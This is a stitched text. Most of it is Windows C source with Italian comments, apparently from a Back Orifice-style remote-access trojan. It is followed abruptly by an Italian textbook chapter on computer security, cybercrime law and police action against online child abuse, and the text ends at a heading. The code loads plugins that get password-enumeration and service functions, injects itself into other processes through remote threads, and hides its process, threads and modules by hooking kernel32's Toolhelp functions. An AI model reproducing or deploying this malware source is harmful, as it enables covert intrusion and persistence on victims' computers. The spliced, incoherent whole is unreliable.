//qui comparirà la lista dei direttori in fase di debug e plugin aggancianti


};


PLUGIN_LINKAGE pl;


for(i=0;i<4;i++) {



FillLinkage(&pl);



HMODULE mod=LoadLibrary(svPlugs[i]);




TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(mod,"InstallPlugin");



if(InstallPlugin(&pl)) {




void *pMem,*pDum;




pMem=malloc(sizeof(HMODULE)*(g_nPluginCount+1));




if(pMem!=NULL) {






memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*g_nPluginCount);





pDum=g_phmodPlugins;





g_phmodPlugins=(HMODULE *)pMem;





if(pDum!=NULL) free(pDum);





g_phmodPlugins[g_nPluginCount]=mod;








g_nPluginCount++;




}



} 


}

#endif

}

void UnloadPlugins(void)

{


int i;


if(g_phmodPlugins!=NULL) {



for(i=0;i<g_nPluginCount;i++) {




HMODULE hDLL;




hDLL=*(g_phmodPlugins+i);




TYPEOF_TerminatePlugin *TerminatePlugin=(TYPEOF_TerminatePlugin *)GetDLLProcAddress(hDLL,"TerminatePlugin");




TerminatePlugin();




FreeDLL(hDLL);



}



free(g_phmodPlugins);



g_phmodPlugins=NULL;



g_nPluginCount=0;


}

}

int FillLinkage(PLUGIN_LINKAGE *ppl)

{


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(g_module);


ppl->wPokVerLo=poh->MinorImageVersion;


ppl->wPokVerHi=poh->MajorImageVersion;


ppl->pBaseAddress=(void *)g_module;


ppl->win.bIsWinNT=g_bIsWinNT;


ppl->pbEradicate=&g_bEradicate;


ppl->pbPokFinished=&g_bPokFinished;


ppl->pbRestart=&g_bRestart;


ppl->svRestartProcess=g_svRestartProcess;


ppl->svStartupOptions=g_szStartupOptions;


ppl->ppCommSock=g_pCommSock;


ppl->pnCommCount=&g_nCommCount;


ppl->ppConnSock=g_pConnSock;


ppl->pnConnCount=&g_nConnCount;


ppl->pEncryptionHandler=g_pEncryptionHandler;


ppl->pIOHandler=g_pIOHandler;


ppl->pAuthHandler=g_pAuthHandler;


ppl->pListenAuthSocket=ListenAuthSocket;


ppl->pConnectAuthSocket=ConnectAuthSocket;


ppl->pInteractiveConnect=NULL;


ppl->pInteractiveListen=NULL;


ppl->command_handler_table=command_handler_table;


ppl->command_description_table=command_description_table;


ppl->pRegisterCommand=RegisterCommand;


ppl->pUnregisterCommand=UnregisterCommand;


ppl->pRegisterClientMenu=NULL;


ppl->pUnregisterClientMenu=NULL;


ppl->pDispatchCommand=DispatchCommand;


// COMMENTI


ppl->pBreakDownCommand=BreakDownCommand;


ppl->pBuildCommandRequest=BuildCommandRequest;


ppl->pBuildCommandReply=BuildCommandReply;


ppl->pFreeCommandMemory=FreeCommandMemory;


ppl->pIssueAuthCommandRequest=IssueAuthCommandRequest;


ppl->pIssueAuthCommandReply=IssueAuthCommandReply;


ppl->pCreateProcListSnapshot=CreateProcListSnapshot;


ppl->pDestroyProcListSnapshot=DestroyProcListSnapshot;


// PLUGIN

ppl->pAddPlugin=AddPlugin;


ppl->pDebugPlugin=DebugPlugin;


ppl->pRemovePlugin=RemovePlugin;


ppl->pGetPlugin=GetPlugin;


// DLL_CARICATE


ppl->pGetDLLHandle=GetDLLHandle;


ppl->pGetDLLFileName=GetDLLFileName;


ppl->pGetDLLProcAddress=GetDLLProcAddress;


ppl->pSetDLLProcAddress=SetDLLProcAddress;


ppl->pResetDLLProcAddress=ResetDLLProcAddress;


ppl->pLoadDLLFromImage=LoadDLLFromImage;


ppl->pLoadDLLEx=LoadDLLEx;


ppl->pLoadDLL=LoadDLL;


ppl->pFreeDLL=FreeDLL;


// FUNZIONI



ppl->win.pCreateToolhelp32Snapshot=pCreateToolhelp32Snapshot;


ppl->win.pModule32First=pModule32First;


ppl->win.pModule32Next=pModule32Next;


ppl->win.pProcess32First=pProcess32First; 


ppl->win.pProcess32Next=pProcess32Next; 


ppl->win.pThread32First=pThread32First; 


ppl->win.pThread32Next=pThread32Next; 


ppl->win.pRegisterServiceProcess=pRegisterServiceProcess;


ppl->win.pCreateRemoteThread=pCreateRemoteThread;


ppl->win.pVirtualAllocEx=pVirtualAllocEx;


ppl->win.pVirtualFreeEx=pVirtualFreeEx;


ppl->win.pVirtualQueryEx=pVirtualQueryEx;


ppl->win.pVirtualProtectEx=pVirtualProtectEx;


ppl->win.pWNetEnumCachedPasswords=pWNetEnumCachedPasswords;


ppl->win.pWNetCloseEnum=pWNetCloseEnum;


ppl->win.pWNetEnumResource=pWNetEnumResource;


ppl->win.pWNetOpenEnum=pWNetOpenEnum;


ppl->win.pWNetCancelConnection2=pWNetCancelConnection2;


ppl->win.pWNetAddConnection2=pWNetAddConnection2;


ppl->win.pLMSNetSessionEnum=pLMSNetSessionEnum;


ppl->win.pLMSNetShareEnum=pLMSNetShareEnum;


ppl->win.pLMSNetShareDel=pLMSNetShareDel;


ppl->win.pLMSNetShareAdd=pLMSNetShareAdd;


ppl->win.pLMSNetApiBufferFree=pLMSNetApiBufferFree;


ppl->win.pSVRNetSessionEnum=pSVRNetSessionEnum;


ppl->win.pSVRNetShareEnum=pSVRNetShareEnum;


ppl->win.pSVRNetShareDel=pSVRNetShareDel;


ppl->win.pSVRNetShareAdd=pSVRNetShareAdd;


ppl->win.pRegSetKeySecurity=pRegSetKeySecurity;


ppl->win.pSetSecurityDescriptorDacl=pSetSecurityDescriptorDacl;


ppl->win.pGetAce=pGetAce;


ppl->win.pAddAccessAllowedAce=pAddAccessAllowedAce;


ppl->win.pInitializeAcl=pInitializeAcl;


ppl->win.pInitializeSecurityDescriptor=pInitializeSecurityDescriptor;


ppl->win.pGetLengthSid=pGetLengthSid;


ppl->win.pLookupAccountName=pLookupAccountName;


ppl->win.pLookupAccountSid=pLookupAccountSid;


ppl->win.pGetSecurityDescriptorDacl=pGetSecurityDescriptorDacl;


ppl->win.pGetSecurityDescriptorGroup=pGetSecurityDescriptorGroup;


ppl->win.pGetSecurityDescriptorOwner=pGetSecurityDescriptorOwner;


ppl->win.pOpenProcessToken=pOpenProcessToken;


ppl->win.pLookupPrivilegeValue=pLookupPrivilegeValue;


ppl->win.pAdjustTokenPrivileges=pAdjustTokenPrivileges;


ppl->win.pRegGetKeySecurity=pRegGetKeySecurity;


ppl->win.pOpenSCManager=pOpenSCManager;


ppl->win.pCreateService=pCreateService;


ppl->win.pCloseServiceHandle=pCloseServiceHandle;


ppl->win.pOpenService=pOpenService;


ppl->win.pStartServiceCtrlDispatcher=pStartServiceCtrlDispatcher;


ppl->win.pRegisterServiceCtrlHandler=pRegisterServiceCtrlHandler;


ppl->win.pSetServiceStatus=pSetServiceStatus;


ppl->win.pDeleteService=pDeleteService;


ppl->win.pGetServiceDisplayName=pGetServiceDisplayName;


ppl->win.pStartService=pStartService;


return 0;

}

int AddPlugin(void *pPlugin, int nSize)

{


PLUGIN_LINKAGE pl;


FillLinkage(&pl);


HMODULE hDLL;


hDLL=LoadDLLFromImage(pPlugin,NULL,RWX_PERMISSIONS);


if(hDLL!=NULL) {



// Call plugin installation function



TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(hDLL,"InstallPlugin");



if(InstallPlugin(&pl)) {




void *pMem,*pDum;




pMem=malloc(sizeof(HMODULE)*(g_nPluginCount+1));




if(pMem!=NULL) {






memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*g_nPluginCount);





pDum=g_phmodPlugins;





g_phmodPlugins=(HMODULE *)pMem;





if(pDum!=NULL) free(pDum);





g_phmodPlugins[g_nPluginCount]=hDLL;








g_nPluginCount++;





return 0;




}



} 



FreeDLL(hDLL);


}


return -1;

}

int DebugPlugin(const char *svPluginFile)

{


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(g_module);


PLUGIN_LINKAGE pl;



FillLinkage(&pl);


HMODULE hDLL;


hDLL=LoadLibrary(svPluginFile);


if(hDLL!=NULL) {



TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(hDLL,"InstallPlugin");



if(InstallPlugin(&pl)) {




void *pMem,*pDum;




pMem=malloc(sizeof(HMODULE)*(g_nPluginCount+1));




if(pMem!=NULL) {






memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*g_nPluginCount);





pDum=g_phmodPlugins;





g_phmodPlugins=(HMODULE *)pMem;





if(pDum!=NULL) free(pDum);





// Aggiungi plugin nel vettore dei plugin








g_phmodPlugins[g_nPluginCount]=hDLL;








g_nPluginCount++;





return 0;




}



} 



FreeDLL(hDLL);


}


return -1;

}

int RemovePlugin(int nNum)

{


if(nNum<0 || nNum>=g_nPluginCount) return -1;


// Scarica il plugin richiesto


HMODULE hDLL;


hDLL=g_phmodPlugins[nNum];


TYPEOF_TerminatePlugin *TerminatePlugin=(TYPEOF_TerminatePlugin *)GetDLLProcAddress(hDLL,"TerminatePlugin");


TerminatePlugin();


FreeDLL(hDLL);


FreeLibrary(hDLL);



// Rimuovi dal vettore


void *pMem,*pDum;


pMem=malloc(sizeof(HMODULE)*(g_nPluginCount-1));


if(pMem==NULL) return -1;


memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*nNum);


memcpy((HMODULE *)pMem+nNum,g_phmodPlugins+(nNum+1),sizeof(HMODULE)*(g_nPluginCount-(nNum+1)));


pDum=g_phmodPlugins;


g_phmodPlugins=(HMODULE *)pMem;


free(pDum);


g_nPluginCount--;


return 0;

}

HMODULE GetPlugin(int nNum)

{


if(nNum<0 || nNum>=g_nPluginCount) return NULL;


return g_phmodPlugins[nNum];

}

/*  file process_hop.cpp */

#include<windows.h>

#include<main.h>

#include<bo_debug.h>

#include<functions.h>

#include<osversion.h>

#include<dll_load.h>

#include<pviewer.h>

#include<process_hop.h>

#include<config.h>

// --------------------- codice per nascondere I processi in ambiente  Win95 ----------------------

void __declspec(naked) StartOfHappyCode(void)

{

}

BOOL WINAPI FakeProcess32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)

{


if(((PROCESSWALK)0x22222222)(hSnapshot, lppe)==FALSE) return FALSE;


while(lppe->th32ProcessID==0x11111111) {



if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;


}


return TRUE;

}

BOOL WINAPI FakeProcess32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)

{


if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;


while(lppe->th32ProcessID==0x11111111) {



if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;


}


return TRUE;

}

BOOL WINAPI FakeThread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte)

{


if(((THREADWALK)0x44444444)(hSnapshot, lpte)==FALSE) return FALSE;


while(lpte->th32OwnerProcessID==0x11111111) {



if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;


}


return TRUE;

}

BOOL WINAPI FakeThread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte)

{


if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;


while(lpte->th32OwnerProcessID==0x11111111) {



if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;


}


return TRUE;

}

BOOL WINAPI FakeModule32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme)

{


if(((MODULEWALK)0x66666666)(hSnapshot, lpme)==FALSE) return FALSE;


while(lpme->th32ProcessID==0x11111111) {



if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;


}


return TRUE;

}

BOOL WINAPI FakeModule32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme)

{


if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;


while(lpme->th32ProcessID==0x11111111) {



if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;


}


return TRUE;

}

void __declspec(naked) EndOfHappyCode(void)

{

}

BOOL SpawnPokThread(const char *svProcess)

{



if(g_bIsWinNT) {  



PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL);



DWORD dwThreadID, dwProcID;



for(ppie=ppi;ppie!=NULL;ppie=ppie->next) {




if(lstrcmpi(ppie->svApp,svProcess)==0) break;



}



if(ppie==NULL) return FALSE;



dwProcID=ppie->dwProcID;



dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter)



DestroyProcListSnapshot(ppi);



if(GetCurrentProcessId()==dwProcID) return FALSE;



HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID);



if(hProc==NULL) {




DebugMessageBox(NULL,"Non riesco ad aprire il processo","ERROR",MB_SETFOREGROUND);




return FALSE;



}



pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE);



DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage;



char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);



if(pMem==NULL) {




DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND);




return FALSE;



}



DWORD dwOldProt,dwNumBytes,i;



MEMORY_BASIC_INFORMATION mbi;



pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));



while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {




if(!(mbi.Protect & PAGE_GUARD)) {





for(i=0;i<mbi.RegionSize;i+=0x1000) {






pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);






WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);





}




}




pMem+=mbi.RegionSize;




pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));




}



DWORD dwRmtThdID;



HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);



if(hRmtThd==NULL) {




DebugMessageBox(NULL,"impossibile stabilire una comunicazione remota","ERROR",MB_SETFOREGROUND);




return FALSE;



}



CloseHandle(hProc);



return 0;


} else { 



pRegisterServiceProcess(NULL,1);



HMODULE hModule=GetModuleHandle("kernel32.dll");



FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);



PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);



DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;



if(dwSize==0) return NULL;



PIMAGE_EXPORT_DIRECTORY ped;



ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);




DWORD dwFirstPage, dwNumPages;



dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;



dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;



_asm {





push 020060000h                 




push 0FFFFFFFFh                 




push dword ptr [dwNumPages]     




push dword ptr [dwFirstPage]    




push 1000Dh










call dword ptr [VxDCall]



}




SpawnCleanup();



InitializeDLLLoad();



DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);



LPVOID lpBase;



lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);



if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000;



memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize);



DWORD dwOldAddress[6],dwCurPid;



dwCurPid=GetCurrentProcessId();



dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");



dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");



dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");



dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");



dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");



dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next");



DWORD i;



for(i=0;i<(dwCodeSize-4);i++) {




DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);




if     (*dwPtr==0x11111111) *dwPtr=dwCurPid;




else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];




else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];




else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];




else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];




else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];




else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];



}





SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));



SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));



SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));



SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));



SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));



SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next)));



KillDLLLoad();



EntryPoint(GetModuleHandle(NULL));



SpawnCleanup();


}


return TRUE;

}


void SpawnCleanup(void)

{


if(!g_bIsWinNT) {



InitializeDLLLoad();



HMODULE hModule=GetModuleHandle("kernel32.dll");



ResetDLLProcAddress(hModule,"Process32First");



ResetDLLProcAddress(hModule,"Process32Next");



ResetDLLProcAddress(hModule,"Thread32First");



ResetDLLProcAddress(hModule,"Thread32Next");



ResetDLLProcAddress(hModule,"Module32First");



ResetDLLProcAddress(hModule,"Module32Next");



KillDLLLoad();


}

}

/*  file strhandle.cpp . */

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#ifndef WIN32 

#define strnicmp strncasecmp 

#endif

int cpynstr(char *svDest, const char *svSrc, int nMaxCount)

{


int i;


i=0;


while(*svSrc) {



*svDest=*svSrc;



svSrc++;



svDest++;



i++;



if(i==(nMaxCount-1)) 




break;


}


*svDest='\0';


return i;

}

char *BreakString(char *svLines, char *svTok)

{


char *p,*s;


char *tok;


p=svLines;


if(p==NULL) return NULL;


while(*p!='\0') {



for(s=p,tok=svTok;(*s)&&(*tok);s++,tok++) {




if((*s)!=(*tok)) break;



}



if((*tok)=='\0') {




*p='\0';




return p+strlen(svTok);



}



p++;


}


return NULL;

}

char *EscapeString(const char *svStr)

{


/* Determinazione dimensione finale del file */


int nEscapes,i,j,count;


char *svOutBuf;


nEscapes=0;


count=strlen(svStr);


for(i=0;i<count;i++) {



if(svStr[i]=='\a') nEscapes++;



else if(svStr[i]=='\b') nEscapes++;



else if(svStr[i]=='\f') nEscapes++;



else if(svStr[i]=='\n') nEscapes++;



else if(svStr[i]=='\r') nEscapes++;



else if(svStr[i]=='\t') nEscapes++;



else if(svStr[i]=='\v') nEscapes++;



else if(svStr[i]=='\\') nEscapes++;



else if(svStr[i]<' ' || svStr[i]>'~') nEscapes+=3;


}


/* Allocazione del buffer di  output  */


svOutBuf=(char*)malloc(strlen(svStr)+nEscapes+1);


j=0;


for(i=0;i<count;i++) {



char c;



c=svStr[i];



if(c>=' ' && c<='~') { svOutBuf[j]=c; j++; }



else if(c=='\a') { svOutBuf[j]='\\'; svOutBuf[j+1]='a'; j+=2; }



else if(c=='\b') { svOutBuf[j]='\\'; svOutBuf[j+1]='b'; j+=2; }



else if(c=='\f') { svOutBuf[j]='\\'; svOutBuf[j+1]='f'; j+=2; }



else if(c=='\n') { svOutBuf[j]='\\'; svOutBuf[j+1]='n'; j+=2; }



else if(c=='\r') { svOutBuf[j]='\\'; svOutBuf[j+1]='r'; j+=2; }



else if(c=='\t') { svOutBuf[j]='\\'; svOutBuf[j+1]='t'; j+=2; }



else if(c=='\v') { svOutBuf[j]='\\'; svOutBuf[j+1]='v'; j+=2; }



else if(c=='\\') { svOutBuf[j]='\\'; svOutBuf[j+1]='\\'; j+=2; }



else {




j+=4;



}


}


svOutBuf[j]='\0';


return svOutBuf;

}

char *UnescapeString(char *svStr)

{


/* Determina dimensione  finale */


int i,j,count;


char *svOutBuf,ch;


int nLen=0;


count=strlen(svStr);


for(i=0;i<count;i++) {



if(svStr[i]=='\\' && i<count) {




if(svStr[i+1]=='a') i++;




else if(svStr[i+1]=='b') i++;




else if(svStr[i+1]=='f') i++;




else if(svStr[i+1]=='n') i++;




else if(svStr[i+1]=='r') i++;




else if(svStr[i+1]=='t') i++;




else if(svStr[i+1]=='v') i++;




else if(svStr[i+1]=='\\') i++;




else if(svStr[i+1]=='x') {





if((i+2)>=(count-1)) break;





i+=3;




}



}



nLen++;


}


/* Allocazione del buffer di  output  */


svOutBuf=(char*)malloc(nLen+1);


j=0;


count=strlen(svStr);


for(i=0;i<count;i++) {



ch=svStr[i];



if(ch=='\\') {




i++;




if(i>=count) break;




ch=svStr[i];




if(ch=='a') ch='\a';




else if(ch=='b') ch='\b';




else if(ch=='f') ch='\f';




else if(ch=='n') ch='\n';




else if(ch=='r') ch='\r';




else if(ch=='t') ch='\t';




else if(ch=='v') ch='\v';




else if(ch=='\\') ch='\\';




else if(ch=='x') {





int x;





i++;





if(i>=count) break;





ch=svStr[i];





if(ch>='A' && ch<='F') x=((ch-'A')+10)<<4;





else if(ch>='a' && ch<='f') x=((ch-'a')+10)<<4;





else if(ch>='0' && ch<='9') x=(ch-'0')<<4;





i++;





if(i>=count) break;





ch=svStr[i];





if(ch>='A' && ch<='F') x|=((ch-'A')+10);





else if(ch>='a' && ch<='f') x|=((ch-'a')+10);





else if(ch>='0' && ch<='9') x|=(ch-'0');





ch=(char)x;




}



} 



svOutBuf[j++]=ch;




}



svOutBuf[j]='\0';


return svOutBuf;

}
Cap. 9    Sicurezza informatica.

Tanto la sottovalutazione quanto l'allarmismo contribuiscono ad aggravare la situazione

Il problema della sicurezza e' un problema di tutti: dal normale utente alla grande impresa, passando per tutte le piccole e medie. Le grandi aziende possono permettersi personale qualificato interno e settori dedicati alla sicurezza e quindi sono relativamente al sicuro. Paradossalmente le grandissime aziende (come la Microsoft), pur disponendo di enormi risorse, sono meno sicure in quanto costituiscono un obbiettivo privilegiato e attirano su di se' le attenzioni di tutti gli hacker.

Probabilmente anche la grandissima dimensione gioca un ruolo negativo: piu' grande e' un'azienda, piu' probabile che sfugga qualche dettaglio di sicurezza.

Con l'esplosione delle attivita' commerciali in Internet, le imprese maggiormente a rischio sono tutta la miriade di piccole e medie che invadono il cyber. Hanno bilanci ridotti e quindi non possono permettersi personale interno qualificato. Spesso si affidano a economici webmaster “fai da te” che disegnano male il sito, lo gestiscono peggio e tutto quello che fanno per la sicurezza e' scaricare questa o quella patch dai siti delle aziende produttrici di software.

In realta', essere esperto in sicurezza e' una qualifica molto specifica che richiede conoscenze ed esperienze nel settore: si puo' essere un ottimo programmatore o gestore di data base senza per questo essere esperto in sicurezza. E' necessario quindi affidarsi a personale davvero qualificato e cominciare a considerare le spese per la sicurezza informatica come un voce necessaria e non un lusso da tagliare per primo nella lista delle spese.

Naturalmente per l'utente normale le cose sono molto piu' semplici: un buon antivirus e una certa dose di prudenza (non scaricare troppi file, non aprire e-mails se non si conosce il mittente, etc.) bastano per godersi tranquillamente senza troppe ossessioni i "piaceri" del cyber spazio.

Tutto questo puo' sembrare una serie di banalita', ma abbiamo l'impressione che se si mettessero in pratica proprio le banalita' una grandissima parte dei problemi sarebbero risolti.

Spesso le voci relative a questi fantomatici hacker si rilevano solo allarmismo, basti pensare che il gruppo entrato nei server della Microsoft non ha fatto niente di eccezionale: bastava che la Microsoft avesse applicato proprio "banali" norme di sicurezza: cambiare le password, applicare la patch che essa stessa aveva prodotto, aggiornare gli antivirus: sono tutte cose che quasi sono normali per un banale utente di Internet.

Si ha invece l'impressione che questo e altri eventi siano ingigantiti ad arte per dipingere foschi scenari di cyber-guerra con perfidi hacker appostati ovunque. La conclusione di questi discorsi e' sempre la stessa: leggi speciali e ordine speciale per Internet.

Prime contromisure legislative

Sul piano penale, il legislatore ha seguito le indicazioni della Comunità Europea redigendo una lista minima di "computer crimes", prevedendo il reato di intercettazione, di violazione di domicilio informatico ( che è analogo al domicilio fisico ), l’alterazione di dati e di programmi, lo spionaggio informatico. Così avviene che alcuni crimini specifici trovano tutela nelle categorie giuridiche tradizionali. Si veda ad esempio l’ art. 600 ter del codice penale e la legge nr.269 del 1998 così come l’articolo 615 ter, quater, quinquies c.p. che colpisce la cosiddetta " sfida" alle misure di sicurezza adottate per proteggere i dati ed i sistemi informatici, la diffusione di virus, ecc. Tra le ipotesi più frequenti di reato si annovera la duplicazione di data base al fine di trasferire nominativi e dati di clienti da un’azienda ad una concorrente. L’art.616 c.p., ad esempio, punisce la violazione di comunicazioni a distanza.

Norme autoimposte interne alle aziende.

Le norme devono essere calate nel contesto; la diffusione dei reati è cambiata e vi sono problemi di giurisdizione. Una volta, ad esempio, i Centri di calcolo erano ambienti chiusi, non accessibili dall’esterno e protetti anche perché i computer di allora occupavano grandi spazi, anche per questo era limitata la criminalità informatica. Ora il patrimonio aziendale è dematerializzato, c’è la possibilità di attaccarlo dall’esterno. Vi è una criminalità interaziendale, economica, concorrenziale che si muove dall’esterno per arrecare un danno all’azienda che produce perdite di quote di mercato, sottrazione di clientela, danni all’immagine, eccetera. Si pone dunque il problema della sicurezza, ma anche di una tutela assicurativa per contenere i danni. Vi sono le polizze tradizionali e poi vi sono quelle cosiddette ad ombrello che coprono a più ampio spettro anche se sono più costose. I Lloyd di Londra assicurano anche per i "computer crimes".

Oggi le aziende stabiliscono al loro interno delle regole di condotta informatica poiché possono incorrere nei reati della culpa in eligendo per la scelta di dipendenti infedeli e della culpa in vigilando per la mancata sorveglianza, pertanto conviene affidare incarichi solo a soggetti competenti e responsabili. Non è consentito scaricare materiale pornografico dai siti Internet collegandosi dal computer dell’azienda: inoltre occorre utilizzare software non contraffatto.

Solitamente sono vietati i modem collegati direttamente alle postazioni di lavoro, ogni comunicazione internet deve essere filtrata dal firewall presente sulla macchina Server, questo rende l’amminitratore di rete responsabile in caso di intrusione dall’esterno soprattutto per gli ingenti danni che possono essere causati ai data base ed archivi aziendali.

Il ricorso all’ Autorità giudiziaria pone problemi di interpretazione delle norme ( v. art. 615 ter - Direttiva 318/97). Intanto, per la querela, è preferibile individuare fin dall’inizio il responsabile del reato consultando il Provider per sapere chi si è introdotto nel sistema aziendale e da lì individuare la competenza giurisdizionale, dal momento che la rete è mondiale. Sequestrare o bloccare l’attività di un Server non è cosa semplice per le implicazioni di danni a terzi ed anche per motivi di tutela dei clienti del Provider.

Contromisure verso l’uso immorale della rete globale.

Una pubblicazione comparsa in Internet di un Funzionario della Polizia Postale e delle Telecomunicazioni informa che esistono 19 Compartimenti regionali di polizia postale e 76 sezioni provinciali. Il compito della polizia postale, in questo settore, è quello di monitorare la rete e Internet al fine di perseguire reati come la pedofilia e l’intrusione informatica. 

Per ciò che concerne la pedofilia, la proliferazione di siti a carattere pedo-pornografico è diventata un fenomeno allarmante. La polizia cerca di rilevare l’ "attestazione" del sito che spesso si trova in Russia o nei paesi dell’Est oppure in alcuni Stati Usa ,dove non è reato mostrare minori nudi purché non siano in atteggiamento sessuale o anche in Canada,cioè in paesi dove non esiste normativa in materia.

Tramite alcuni programmi scaricabili come file temporanei di internet, è possibile raccogliere informazioni relative al numero di volte che un particolare utente visita un certo sito rendendo perseguibile non solo il proprietario del sito ma anche il visitatore.

Tali siti sono strutturati come una "trappola" che spesso irretisce il malcapitato e gli sottrae del denaro ( da 29,96 $ a 39,95 $, ed oltre) con la scusa della registrazione tramite carte di credito e spesso non gli offre neanche i servizi annunciati nei banner pubblicitari.

La polizia segnala all’Interpol il sito con il nome dell’ Amministratore ed avvia il procedimento giuridico per l’oscuramento del sito, ma i siti colpiti rinascono subito poiché basta cambiare una virgola o il nome per riottenere la registrazione del sito perciò l’azione di polizia viene vanificata. Ai sensi dell’art.14 della, legge 269/98 alla polizia è permesso di registrarsi presso questi siti al fine di scoprire e perseguire i reati che possono essere contenuti anche nelle pagine illustrative del sito, poiché vi è un abuso dell’immagine di minori; lo scambio di materiale pornografico in genere avviene anche attraverso le chat line. Alcuni Siti offrono "stanze virtuali" dove gli utenti possono incontrarsi per scambiarsi materiale pornografico; quando vengono scoperti, attraverso l’ indirizzo IP dinamico che viene assegnato all’utente registrato per cui si può risalire ai dati anagrafici, si prosegue l’indagine anche all’interno della famiglia dell’utente, in quanto potrebbe essere un familiare a commettere il reato, vengono denunciati all’A.G. Il reato commesso attraverso la rete è un reato del cyberspazio, pertanto non si può contrastare adeguatamente. Il reato informatico, vista la sua natura immateriale, dovrebbe essere sganciato dalla territorialità.

Dal punto di vista investigativo, la pedofilia è un fenomeno allarmante, si parte dalla rete per individuare la condotta criminale di sfruttamento del minore o della produzione di materiale pornografico.

Hacker e assimilabili

